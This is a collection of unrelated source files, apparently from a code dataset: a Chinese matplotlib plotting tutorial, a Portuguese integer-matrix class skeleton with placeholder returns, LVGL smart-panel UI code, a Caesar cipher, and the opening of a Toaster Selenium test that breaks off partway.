Fig = plt.figure(figsize=(8,4)) # Create a `figure' instance
Ax = Fig.add_subplot(111) # Create a `axes' instance in the figure
Ax.plot(X1, Y1, X2, Y2) # Create a Line2D instance in the axes
Fig.show()
Fig.savefig("test.pdf")
# plt 会注意到何时传递了 ndarray 对象。在这种情况下,没有必要提供 x 值的 “额外” 信息。如果你只提供 y 值,plot 以索引值作为对应的 x 值。因此,下面一行代码会生成完全一样的输出,如下图
# plt.plot(y)
#
#
# 可以简单地向 matplotlib 函数传递 Numpy ndarray 对象。函数能够解释数据结构以简化绘图工作。但是要注意,不要传递太大或者太复杂的数组。
#
# 由于大部分 ndarray 方法返回的仍然是一个 ndarray 对象,也可以附加一个方法(有些时候甚至可以附加多个方法)传递对象。我们用样板数据调用 ndarray 对象上的 cumsum 方法,可以获得这些数据的总和,并且和预想的一样得到不同的输出,如下图
y = np.random.standard_normal(20)
plt.plot(y.cumsum())
# 此处输入图片的描述
# 一般来说,默认绘图样式不能满足报表、出版等的典型要求。例如,你可能希望自定义所使用的字体(例如,为了 LaTeX 字体兼容)、在坐标轴上有标签或者为了更好的可辨认性而绘制网格。因此,matplotlib 提供了大量函数以自定义绘图样式。有些函数容易理解,其他的则需要更深入一步研究。例如,操纵坐标轴和增加网格及标签的函数很容易理解,如下图:
plt.plot(y.cumsum())
plt.grid(True) # 添加网格线
plt.axis('tight') # 紧凑坐标轴
# 下图列出了 plt.axis 的其它选项,大部分都以字符串对象的形式传递
#
#
# 此外,可以使用 plt.xlim 和 plt.ylim 设置每个坐标轴的最小值和最大值。下面的代码提供了一个示例,输出如图
plt.plot(y.cumsum())
plt.grid(True)
plt.xlim(-1,20)
plt.ylim(np.min(y.cumsum()) - 1,
np.max(y.cumsum()) + 1)
# 为了得到更好的易理解性,图表通常包含一些标签——例如描述x和y值性质的标题和标签。这些标签分别通过 plt.title, plt.xlabe 和 plt.ylabel 添加。默认情况下,即使提供的数据点是离散的,plot也绘制连续线条。离散点的绘制通过选择不同的样式选项实现。下图覆盖(红色)点和线宽为1.5个点的(蓝色)线条:
plt.figure(figsize=(7, 4))
# the figsize parameter defines the size of the figure in(width, height)
plt.plot(y.cumsum(), 'b', lw=1.5)
plt.plot(y.cumsum(), 'ro')
plt.grid(True)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
plt.title('A Simple Plot')
# 默认情况下,plt.plot 支持下表中的颜色缩写
#
#
# 对于线和点的样式,plt.plot 支持下表中列出的字符
#
# 任何颜色缩写都可以与任何样式字符组合,这样,你可以确保不同的数据集能够轻松区分。我们将会看到,绘图样式也会反映到图例中
# 4.2 二维数据集
#
# 按照一维数据绘图可以看做一种特例。一般来说,数据集包含多个单独的子集。这种数据的处理遵循matplotlib处理一维数据时的原则。但是,这种情况会出现其他一些问题,例如,两个数据集可能有不同的刻度,无法用相同的y或x轴刻度绘制。另一个问题是,你可能希望以不同的方式可视化两组不同数据,例如,一组数据使用线图,另一组使用柱状图。
#
# 首先,我们生成一个二维样本数据集。下面的代码生成包含标准正态分布(伪)随机数的20×2 NumPy ndarray。在这个数组上调用 cumsum 计算样本数据在0轴(即第一维)上的总和:
np.random.seed(2000)
y = np.random.standard_normal((20,2)).cumsum(axis=0)
# 一般来说,也可以将这样的二维数组传递给 plt.plot。它将自动把包含的数据解释为单独的数据集(沿着1轴,即第二维)。如下图:
plt.figure(figsize=(7, 4))
plt.plot(y, lw=1.5)
plt.plot(y, 'ro')
plt.grid(True)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
plt.title('A Simple Plot')
# 在这种情况下,进一步的注释有助于更好地理解图表,可以为每个数据集添加单独的标签并在图例中列出。plt.legend 接受不同的位置参数。0表示“最佳位置”,也就是图例尽可能少地遮盖数据。下图展示了包含两个数据集的图表,这一次带有图例。在生成代码中,我们没有传递整个 ndarray 对象,而是分别访问两个数据子集(y[:, 0]和y[:, 1]),可以为它们附加单独的标签
plt.figure(figsize=(7,4))
plt.plot(y[:, 0], lw=1.5, label='1st')
plt.plot(y[:, 1], lw=1.5, label='2nd')
plt.plot(y, 'ro')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
plt.title('A Simple Plot')
# plt.legend 的其它位置选项如下图所示
#
#
# 多个具有类似刻度的数据集(如同一金融风险因素的模拟路径)可以用单一的 y轴绘制。但是,数据集常常有不同的刻度,用单一 y轴刻度绘制这种数据的图表通常会导致可视化信息的显著丢失。为了说明这种效果,我们将两个数据子集中的第一个扩大 100倍,再次绘制该图
y[:, 0] = y[:, 0] * 100
plt.figure(figsize=(7,4))
plt.plot(y[:, 0], lw=1.5, label='1st')
plt.plot(y[:, 1], lw=1.5, label='2nd')
plt.plot(y, 'ro')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
plt.title('A Simple Plot')
# 观察上图我们可以知道,第一个数据集仍然是“在视觉上易于辨认的”,而第二个数据集在新的Y轴刻度上看起来像一条直线。在某种程度上,第二个数据集的有关信息现在“在视觉上已经丢失”。解决这个问题有两种基本方法:
#
# 使用 2 个 y 轴(左/右)
# 使用两个子图(上/下,左/右)
# 我们首先在图表中引入第二个 y 轴。下图中有两个不同的y轴,左侧的y轴用于第一个数据集,右侧的y轴用于第二个数据集,因此,有两个图例:
fig, ax1 = plt.subplots()
plt.plot(y[:, 0], 'b', lw=1.5, label='1st')
plt.plot(y[:, 0], 'ro')
plt.grid(True)
plt.legend(loc=8)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value 1st')
plt.title('A Simple Plot')
ax2 = ax1.twinx()
plt.plot(y[:, 1], 'g', lw=1.5, label='2nd')
plt.plot(y[:, 1], 'ro')
plt.legend(loc=0)
plt.ylabel('value 2nd')
# 在上图中,管理坐标轴的代码行是关键,通过使用 plt.subplots 函数,可以直接访问底层绘图对象(图、子图等)。例如,可以用它生成和第一个子图共享x轴的第二个子图。上图中有两个相互重叠的子图。
#
# 接下来,考虑两个单独子图的情况。这个选项提供了处理两个数据集的更大自由度,如下图所示:
plt.figure(figsize=(7,5))
plt.subplot(211)
plt.plot(y[:, 0], lw=1.5, label='1st')
plt.plot(y[:, 0], 'ro')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.ylabel('value')
plt.title('A Simple Plot')
plt.subplot(212)
plt.plot(y[:, 1], 'g', lw=1.5, label='2nd')
plt.plot(y[:, 1], 'ro')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
# matplotlib figure对象中子图的定位通过使用一种特殊的坐标系来实现。plt.subplot 有3个整数参数,即 numrows 、numcols 和 fignum (可能由逗号分隔,也可能没有)。numrows 指定行数,numcols 指定列数,fignum 指定子图编号(从1到numrows×numcols)。例如,有9个大小相同子图的图表有numrows=3,numcols=3,fignum=1,2,…,9。左下角的子图“坐标”如下:plt.subplot(3,3,9) 。
#
# 有时候,选择两个不同的图表类型来可视化数据可能是必要的或者是理想的。利用子图方法,就可以自由地组合matplotlib提供的任意图表类型,下图组合了线图/点图和柱状图:
plt.figure(figsize=(9, 4))
plt.subplot(121)
plt.plot(y[:, 0], lw=1.5, label='1st')
plt.plot(y[:, 0], 'ro')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.xlabel('index')
plt.ylabel('value')
plt.title('1st Data Set')
plt.subplot(122)
plt.bar(np.arange(len(y)), y[:, 1], width=0.5, color='g', label='2nd')
plt.grid(True)
plt.legend(loc=0)
plt.axis('tight')
plt.xlabel('index')
plt.title('2nd Data Set')
一、其它绘图样式
对于二维绘图,线图和点图可能是金融学中最重要的;这是因为许多数据集用于表示时间序列数据,此类数据通常可以由这些图表进行可视化。
1.1 散点图
我们要介绍的第一种图表是散点图,这种图表中一个数据集的值作为其他数据集的x值。下图展示了一个这种图表。例如,这种图表类型可用于绘制一个金融时间序列的收益和另一个时间序列收益的对比。在下面的例子中,我们将使用二维数据集和其他一些数据:
y = np.random.standard_normal((1000, 2))
plt.figure(figsize=(7, 5))
plt.plot(y[:, 0], y[:, 1], 'ro')
plt.grid(True)
plt.xlabel('1st')
plt.ylabel('2nd')
plt.title('Scatter Plot')
此处输入图片的描述
matplotlib 还提供了生成散点图的一个特殊函数。它的工作方式本质上相同,但是提供了一些额外的功能。这次使用的是 scatter 函数:
plt.figure(figsize=(7, 5))
plt.scatter(y[:, 0], y[:, 1], marker='o')
plt.grid(True)
plt.xlabel('1st')
plt.ylabel('2nd')
plt.title('Scatter Plot')
此处输入图片的描述
例如,scatter 绘图函数可以加入第三维,通过不同的颜色进行可视化,并使用彩条加以描述。为此,我们用随机数据生成第三个数据集,这次使用的是 0和10 之间的整数:
c = np.random.randint(0, 10, len(y))
下图展示的散点图有不同颜色小点表示的第三维,还有作为颜色图例的彩条
plt.figure(figsize=(7, 5))
plt.scatter(y[:, 0], y[:, 1], c=c, marker='o')
plt.colorbar()
plt.grid(True)
plt.xlabel('1st')
plt.ylabel('2nd')
plt.title('Scatter Plot')
此处输入图片的描述
1.2 直方图
下图在同一个图表中放置两个数据集的频率值
plt.figure(figsize=(7, 4))
plt.hist(y, label=['1st', '2nd'], bins=25)
plt.grid(True)
plt.legend(loc=0)
plt.xlabel('value')
plt.ylabel('frequency')
plt.title('Histogram')
此处输入图片的描述
此处输入图片的描述
由于直方图是金融应用中的重要图表类型,我们要更认真地观察 plt.hist 的使用方法。下面的例子说明了所支持的参数:
plt.hist(x, bins=10, range=None, normed=False, weights=None, cumulative=False, bottom=None, histtype='bar', align='mid', orientation='vertical', rwidth=None, log=False, color=None, label=None, stacked=False, hold=None, **kwargs)
plt.hist 主要参数的描述如下
此处输入图片的描述
如下图,两个数据集的数据在直方图中堆叠
y = np.random.standard_normal((1000, 2))
plt.figure(figsize=(7, 4))
plt.hist(y, label=['1st', '2nd'], color=['b', 'g'], stacked=True, bins=20)
plt.grid(True)
plt.legend(loc=0)
plt.xlabel('value')
plt.ylabel('frequency')
plt.title('Histogram')
此处输入图片的描述
1.3 箱形图
另一种实用的图表类型是箱形图。和直方图类似,箱形图可以简洁地概述数据集的特性,很容易比较多个数据集。下图展示了按照我们的数据集绘制的这类图表:
fig, ax = plt.subplots(figsize=(7,4))
plt.boxplot(y)
plt.grid(True)
plt.setp(ax, xticklabels=['1st', '2nd'])
plt.xlabel('data set')
plt.ylabel('value')
plt.title('Boxplot')
此处输入图片的描述
1.4 数学示例
在本节的最后一个例证中,我们考虑一个受到数学启迪的图表,这个例子也可以在 matplotlib 的“展厅”中找到:http://www/matplotlib.org/gallery.html 。它绘制一个函数的图像,并以图形的方式说明了某个下限和上限之间函数图像下方区域的面积——换言之,从下限到上限之间的函数积分值。下图展示了结果图表,说明 matplotlib 能够无缝地处理 LaTeX 字体设置,在图表中加入数学公式:
from matplotlib.patches import Polygon
def func(x):
return 0.5 * np.exp(x) + 1
a, b = 0.5, 1.5
x = np.linspace(0, 2)
y = func(x)
fig, ax = plt.subplots(figsize=(7, 5))
plt.plot(x, y, 'b', linewidth=2)
plt.ylim(ymin=0)
Ix = np.linspace(a, b)
Iy = func(Ix)
verts = [(a, 0)] + list(zip(Ix, Iy)) + [(b, 0)]
poly = Polygon(verts, facecolor='0.7', edgecolor='0.5')
ax.add_patch(poly)
plt.text(0.5 * (a + b), 1, r"$\int_a^b fx\mathrm{d}x$", horizontalalignment='center', fontsize=20)
plt.figtext(0.9, 0.075, '$x$')
plt.figtext(0.075, 0.9, '$f(x)$')
ax.set_xticks((a, b))
ax.set_xticklabels(('$a$', '$b$'))
ax.set_yticks([func(a), func(b)])
ax.set_yticklabels(('$f(a)$', '$f(b)$'))
plt.grid(True)
此处输入图片的描述
下面我们一步步来描述这个图表的生成,第一步是定义需要求取积分的函数:
def func(x):
return 0.5 * np.exp(x) + 1
第二步是定义积分区间,生成必需的数值
a ,b = 0.5, 1.5
x = np.linspace(0, 2)
y = func(x)
第三步,绘制函数图形
fig, ax = plt.subplots(figsize=(7, 5))
plt.plot(x, y, 'b', linewidth=2)
plt.ylim(ymin=0)
第四步是核心,我们使用 Polygon 函数生成阴影部分(“补丁”),表示积分面积:
Ix = np.linspace(a, b)
Iy = func(Ix)
verts = [(a, 0)] + list(zip(Ix, Iy)) + [(b, 0)]
poly = Polygon(verts, facecolor='0.7', edgecolor='0.5')
ax.add_patch(poly)
第五步是用 plt.text 和 plt.figtext 在图表上添加数学公式和一些坐标轴标签。LaTeX 代码在两个美元符号之间传递($ … $)。两个函数的前两个参数都是放置对应文本的坐标值:
plt.text(0.5 * (a + b), 1, r"$\int_a^b fx\mathrm{d}x$", horizontalalignment='center', fontsize=20)
plt.figtext(0.9, 0.075, '$x$')
plt.figtext(0.075, 0.9, '$f(x)$')
最后,我们分别设置x和y刻度标签的位置。注意,尽管我们以 LaTeX 渲染变量名称,但是用于定位的是正确的数字值。我们还添加了网格,在这个特殊例子中,只是为了强调选中的刻度:
ax.set_xticks((a, b))
ax.set_xticklabels(('$a$', '$b$'))
ax.set_yticks([func(a), func(b)])
ax.set_yticklabels(('$f(a)$', '$f(b)$'))
plt.grid(True)
二、3D 绘图
金融中从3维可视化中获益的领域不是太多。但是,波动率平面是一个应用领域,它可以同时展示许多到期日和行权价的隐含波动率。在下面的例子中,我们人为生成一个类似波动率平面的图表。为此,我们考虑如下因素:
行权价格在50~150元之间;
到期日在0.5~2.5年之间。
这为我们提供了一个2维坐标系。我们可以使用 NumPy 的 meshgrid函数,根据两个 1 维 ndarray 对象生成这样的坐标系:
strike = np.linspace(50, 150, 24)
ttm = np.linspace(0.5, 2.5, 24)
strike, ttm = np.meshgrid(strike, ttm)
上述代码将两个 1 维数组转换为 2 维数组,在必要时重复原始坐标轴值:
此处输入图片的描述
现在,根据新的 ndarray 对象,我们通过简单的比例调整二次函数生成模拟的隐含波动率:
iv = (strike - 100) ** 2 / (100 * strike) / ttm
通过下面的代码得出一个三维图形
from mpl_toolkits.mplot3d import Axes3D
fig = plt.figure(figsize=(9,6))
ax = fig.gca(projection='3d')
surf = ax.plot_surface(strike, ttm, iv, rstride=2, cstride=2, cmap=plt.cm.coolwarm, linewidth=0.5, antialiased=True)
ax.set_xlabel('strike')
ax.set_ylabel('time-to-maturity')
ax.set_zlabel('implied volatility')
fig.colorbar(surf, shrink=0.5, aspect=5)
此处输入图片的描述
下图提供了 plot_surface 函数使用的不同参数的描述
此处输入图片的描述
和2维图表一样,线样式可以由单个点或者下例中的单个三角形表示。下图用相同的数据绘制3D散点图,但是现在用 view_init 函数设置不同的视角:
fig = plt.figure(figsize=(8, 5))
ax = fig.add_subplot(111, projection='3d')
ax.view_init(30, 60)
ax.scatter(strike, ttm, iv, zdir='z', s=25, c='b', marker='^')
ax.set_xlabel('strike')
ax.set_ylabel('time-to-maturity')
ax.set_zlabel('implied volatility')
| 27.518519 | 251 | 0.713863 |
41b57c0d33d477d09b1dd88ceeff4ea07dbdc75c
| 3,585 |
py
|
Python
|
tarefas-poo/lista-04/matriz_de_inteiros/model/matriz_de_inteiros.py
|
victoriaduarte/POO_UFSC
|
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
|
[
"MIT"
] | null | null | null |
tarefas-poo/lista-04/matriz_de_inteiros/model/matriz_de_inteiros.py
|
victoriaduarte/POO_UFSC
|
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
|
[
"MIT"
] | null | null | null |
tarefas-poo/lista-04/matriz_de_inteiros/model/matriz_de_inteiros.py
|
victoriaduarte/POO_UFSC
|
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
|
[
"MIT"
] | null | null | null |
# -------------------------------
# UFSC - CTC - INE - INE5663
# Exercício da Matriz de Inteiros
# -------------------------------
# Classe que representa uma matriz de números inteiros.
#
class MatrizDeInteiros:
def __init__(self, dimensoes_ou_numeros):
'''Cria uma matriz de números inteiros. Há duas formas de criar:
- passando as dimensões da matriz na forma de uma tupla: (número de linhas , número de colunas)
- passando os números da matriz na forma de uma lista contendo listas de números
'''
if type(dimensoes_ou_numeros) is tuple:
(num_linhas, num_colunas) = dimensoes_ou_numeros
self._numeros = self._zeros(num_linhas, num_colunas)
else:
self._numeros = dimensoes_ou_numeros
def _zeros(self, num_linhas, num_colunas):
'''Gera uma lista de listas contendo zeros.
'''
return [ [0] * num_colunas for _ in range(num_linhas)]
def armazene(self, linha, coluna, numero):
'''Armazena um número na matriz em uma determinada posição (linha e coluna).
Atenção: a primeira linha deve ser representada por 1. O mesmo vale para a
primeira coluna.
'''
pass
def obtenha(self, linha, coluna):
'''Retorna o número que está em uma determinada posição (linha e coluna).
Atenção: a primeira linha deve ser representada por 1. O mesmo vale para a
primeira coluna.
'''
return 8
def num_linhas(self):
'''Retorna o número de linhas da matriz.
'''
return 6
def num_colunas(self):
'''Retorna o número de colunas da matriz.
'''
return 3
def linha(self, linha):
'''Retorna uma nova lista contendo os números que estão em uma linha.
Atenção: a primeira linha deve ser representada por 1.
'''
return [3,4,5,6]
def coluna(self, coluna):
'''Retorna uma nova lista contendo os números que estão em uma coluna.
Atenção: a primeira coluna deve ser representada por 1.
'''
return [9,8,7]
def soma_de_linha(self, linha):
'''Retorna a soma dos números que estão em uma linha da matriz.
Atenção: a primeira linha deve ser representada por 1.
'''
return 77
def soma_de_coluna(self, coluna):
'''Retorna a soma dos números que estão em uma coluna da matriz.
Atenção: a primeira coluna deve ser representada por 1.
'''
return 56
def somas_das_linhas(self):
'''Retorna uma lista contendo as somas de cada uma das linhas
da matriz.
'''
return [ 23, 45, 77 ]
def soma_dos_numeros(self):
'''Retorna a soma de todos os números da matriz.
'''
return 99
def multiplique_por_fator(self, fator):
'''Multiplica cada número da matriz por um outro número (fator).
'''
pass
def copia(self):
'''Retorna uma cópia da matriz.
'''
return MatrizDeInteiros([[1,2,3], [4,5,6]])
def __add__(self, outra):
'''Faz a soma da matriz self com outra matriz.
Retorna a matriz resultante da soma ou None quando
não for possível somar.
'''
return None
def __mul__(self, outra):
'''Faz a multiplicação da matriz self com outra matriz.
Retorna a matriz resultante da multiplicação ou None quando
não for possível multiplicar.
'''
return None
| 33.504673 | 103 | 0.590237 |
6bbda07e389bf551e26624d26ca28aadcfbca0c4
| 217 |
py
|
Python
|
Curso_Python/Secao2-Python-Basico-Logica-Programacao/37_desempacotamento_listas/37_desempacotamento_listas.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
Curso_Python/Secao2-Python-Basico-Logica-Programacao/37_desempacotamento_listas/37_desempacotamento_listas.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
Curso_Python/Secao2-Python-Basico-Logica-Programacao/37_desempacotamento_listas/37_desempacotamento_listas.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
"""
Desempacotamento de listas em python
"""
lista = ['Luiz', 'João', 'Maria', 1, 2, 3, 4, 5]
n1, n2, *n3 = lista #todo: usando a * cria outra lista, e os valores que eu quiser mostrar, começa pelas ultimas
print(n3)
| 31 | 112 | 0.663594 |
d882505a2c97d476d34d048ae6b4d15d1f7b44c1
| 4,623 |
py
|
Python
|
haas_lib_bundles/python/docs/examples/smart_panel/esp32/code/environment.py
|
wstong999/AliOS-Things
|
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
|
[
"Apache-2.0"
] | null | null | null |
haas_lib_bundles/python/docs/examples/smart_panel/esp32/code/environment.py
|
wstong999/AliOS-Things
|
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
|
[
"Apache-2.0"
] | null | null | null |
haas_lib_bundles/python/docs/examples/smart_panel/esp32/code/environment.py
|
wstong999/AliOS-Things
|
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
|
[
"Apache-2.0"
] | null | null | null |
import lvgl as lv
import utime
# RESOURCES_ROOT = "S:/Users/liujuncheng/workspace/iot/esp32/solution/HaaSPython/solutions/smart_panel/"
RESOURCES_ROOT = "S:/data/pyamp/"
def drawOver(e):
global g_clickTime
if (g_clickTime != 0):
currentTime = utime.ticks_ms()
print("create Environment page use: %dms" % int((currentTime - g_clickTime)))
g_clickTime = 0
environment_alive = False
def environment_back_click_callback(e, win):
global environment_alive
if (environment_alive):
from smart_panel import load_smart_panel
load_smart_panel()
environment_alive = False
def environment_back_press_callback(e, back_image):
back_image.set_zoom(280)
def environment_back_release_callback(e, back_image):
back_image.set_zoom(250)
class Environment:
def createPage(self):
global environment_alive
global g_clickTime
g_clickTime = utime.ticks_ms()
# init scr
scr = lv.obj()
win = lv.obj(scr)
win.set_size(scr.get_width(), scr.get_height())
win.set_style_border_opa(0, 0)
win.set_style_bg_color(lv.color_black(), 0)
win.set_style_radius(0, 0)
win.clear_flag(lv.obj.FLAG.SCROLLABLE)
win.add_event_cb(drawOver, lv.EVENT.DRAW_POST_END, None)
backImg=lv.img(win)
backImg.set_src(RESOURCES_ROOT + "images/back.png")
backImg.set_style_align(lv.ALIGN.LEFT_MID, 0)
backImg.add_flag(lv.obj.FLAG.CLICKABLE)
backImg.add_event_cb(lambda e: environment_back_click_callback(e, win), lv.EVENT.CLICKED, None)
backImg.add_event_cb(lambda e: environment_back_press_callback(e, backImg), lv.EVENT.PRESSED, None)
backImg.add_event_cb(lambda e: environment_back_release_callback(e, backImg), lv.EVENT.RELEASED, None)
backImg.set_ext_click_area(20)
container = lv.obj(win)
container.set_style_bg_opa(0, 0)
container.set_style_border_opa(0, 0)
container.set_size(lv.SIZE.CONTENT, lv.SIZE.CONTENT)
container.set_flex_flow(lv.FLEX_FLOW.COLUMN)
container.set_style_align(lv.ALIGN.CENTER, 0)
container.set_style_pad_left(0, 0)
self.createItem(container, RESOURCES_ROOT + "images/temperature.png", "25",
RESOURCES_ROOT + "images/centigrade_l.png", "Temperature")
self.createInterval(container, 25)
self.createItem(container, RESOURCES_ROOT + "images/humidity.png", "41 %", "", "Humidity")
from smart_panel import needAnimation
if (needAnimation):
lv.scr_load_anim(scr, lv.SCR_LOAD_ANIM.MOVE_LEFT, 500, 0, True)
else:
lv.scr_load_anim(scr, lv.SCR_LOAD_ANIM.NONE, 0, 0, True)
environment_alive = True
currentTime = utime.ticks_ms()
print("run python code use: %dms" % int((currentTime - g_clickTime)))
def createItem(self, parent, iconPath, value, unityPath, tips):
col_dsc = [lv.GRID.CONTENT, 5, lv.GRID.CONTENT, lv.GRID.CONTENT, lv.GRID_TEMPLATE.LAST]
row_dsc = [lv.GRID.CONTENT, lv.GRID.CONTENT, lv.GRID_TEMPLATE.LAST]
cont = lv.obj(parent)
cont.set_style_bg_opa(0, 0)
cont.set_style_border_opa(0, 0)
cont.set_style_pad_all(0, 0)
cont.set_size(lv.SIZE.CONTENT, lv.SIZE.CONTENT)
cont.set_style_grid_column_dsc_array(col_dsc, 0)
cont.set_style_grid_row_dsc_array(row_dsc, 0)
cont.set_layout(lv.LAYOUT_GRID.value)
img = lv.img(cont)
img.set_src(iconPath)
img.set_grid_cell(lv.GRID_ALIGN.START, 0, 1, lv.GRID_ALIGN.CENTER, 0, 2)
label = lv.label(cont)
label.set_text(value)
label.set_style_text_color(lv.color_white(), 0)
label.set_style_text_font(lv.font_montserrat_48, 0)
label.set_style_pad_all(0, 0)
label.set_grid_cell(lv.GRID_ALIGN.START, 2, 1, lv.GRID_ALIGN.CENTER, 0, 1)
if (unityPath.strip()):
iconImg = lv.img(cont)
iconImg.set_src(unityPath)
iconImg.set_zoom(205)
iconImg.set_style_pad_bottom(0, 0)
iconImg.set_grid_cell(lv.GRID_ALIGN.START, 3, 1, lv.GRID_ALIGN.CENTER, 0, 1)
tip = lv.label(cont)
tip.set_text(tips)
tip.set_style_text_color(lv.color_make(0xCC, 0xCC, 0xCC), 0)
tip.set_grid_cell(lv.GRID_ALIGN.START, 2, 2, lv.GRID_ALIGN.START, 1, 1)
def createInterval(self, parent, size):
interval = lv.obj(parent)
interval.set_style_bg_opa(0, 0)
interval.set_style_border_opa(0, 0)
interval.set_height(size)
interval.set_width(0)
| 37.282258 | 110 | 0.669046 |
2b053c0e6b71e75465a34afd8fb4265916c8513c
| 1,023 |
py
|
Python
|
Kryptografie/Python/caesar.py
|
jneug/schule-projekte
|
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
|
[
"MIT"
] | 2 |
2020-09-24T12:11:16.000Z
|
2022-03-31T04:47:24.000Z
|
Kryptografie/Python/caesar.py
|
jneug/schule-projekte
|
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
|
[
"MIT"
] | 1 |
2021-02-27T15:06:27.000Z
|
2021-03-01T16:32:48.000Z
|
Kryptografie/Python/caesar.py
|
jneug/schule-projekte
|
4f1d56d6bb74a47ca019cf96d2d6cc89779803c9
|
[
"MIT"
] | 1 |
2021-02-24T05:12:35.000Z
|
2021-02-24T05:12:35.000Z
|
def ceasear_encode( msg, key ):
code = ""
key = ord(key.upper())-ord("A")
for c in msg.upper():
if c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
new_ord = ord(c)+key
if new_ord > ord("Z"):
new_ord -= 26
code += chr(new_ord)
else:
code += c
return code
def ceasear_decode( code, key ):
msg = ""
key = ord(key.upper())-ord("A")
for c in code.upper():
if c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
new_ord = ord(c)-key
if new_ord < ord("A"):
new_ord += 26
msg += chr(new_ord)
else:
msg += c
return msg
#print(ceasear_decode(ceasear_encode("HalloWelt", "F"), "F"))
msg = """
MRN BRLQNAQNRC NRWNA PNQNRVBLQAROC
MJAO WDA EXW MNA PNQNRVQJUCDWP
MNB BLQUDNBBNUB JKQJNWPNW, WRLQC
SNMXLQ EXW MNA PNQNRVQJUCDWP MNA
ENABLQUDNBBNUDWPBVNCQXMN.
"""
for key in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
#for key in "J":
print(key + ": " + ceasear_decode(msg, key)[:14])
| 24.95122 | 61 | 0.560117 |
2b3a2886cced8166d79a209e36b74c73cb5dec34
| 14,328 |
py
|
Python
|
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
|
opencomputeproject/Rack-Manager
|
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
|
[
"MIT"
] | 5 |
2019-11-11T07:57:26.000Z
|
2022-03-28T08:26:53.000Z
|
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
|
opencomputeproject/Rack-Manager
|
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
|
[
"MIT"
] | 3 |
2019-09-05T21:47:07.000Z
|
2019-09-17T18:10:45.000Z
|
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
|
opencomputeproject/Rack-Manager
|
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
|
[
"MIT"
] | 11 |
2019-07-20T00:16:32.000Z
|
2022-01-11T14:17:48.000Z
|
#! /usr/bin/env python
#
# BitBake Toaster functional tests implementation
#
# Copyright (C) 2017 Intel Corporation
#
# SPDX-License-Identifier: GPL-2.0-only
#
import time
import re
from tests.functional.functional_helpers import SeleniumFunctionalTestCase
from orm.models import Project
class FuntionalTestBasic(SeleniumFunctionalTestCase):
# testcase (1514)
def test_create_slenium_project(self):
project_name = 'selenium-project'
self.get('')
self.driver.find_element_by_link_text("To start building, create your first Toaster project").click()
self.driver.find_element_by_id("new-project-name").send_keys(project_name)
self.driver.find_element_by_id('projectversion').click()
self.driver.find_element_by_id("create-project-button").click()
element = self.wait_until_visible('#project-created-notification')
self.assertTrue(self.element_exists('#project-created-notification'),'Project creation notification not shown')
self.assertTrue(project_name in element.text,
"New project name not in new project notification")
self.assertTrue(Project.objects.filter(name=project_name).count(),
"New project not found in database")
# testcase (1515)
def test_verify_left_bar_menu(self):
self.get('')
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
self.assertTrue(self.element_exists('#config-nav'),'Configuration Tab does not exist')
project_URL=self.get_URL()
self.driver.find_element_by_xpath('//a[@href="'+project_URL+'"]').click()
try:
self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'customimages/"'+"]").click()
self.assertTrue(re.search("Custom images",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'Custom images information is not loading properly')
except:
self.fail(msg='No Custom images tab available')
try:
self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'images/"'+"]").click()
self.assertTrue(re.search("Compatible image recipes",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Compatible image recipes information is not loading properly')
except:
self.fail(msg='No Compatible image tab available')
try:
self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'softwarerecipes/"'+"]").click()
self.assertTrue(re.search("Compatible software recipes",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Compatible software recipe information is not loading properly')
except:
self.fail(msg='No Compatible software recipe tab available')
try:
self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'machines/"'+"]").click()
self.assertTrue(re.search("Compatible machines",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Compatible machine information is not loading properly')
except:
self.fail(msg='No Compatible machines tab available')
try:
self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'layers/"'+"]").click()
self.assertTrue(re.search("Compatible layers",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Compatible layer information is not loading properly')
except:
self.fail(msg='No Compatible layers tab available')
try:
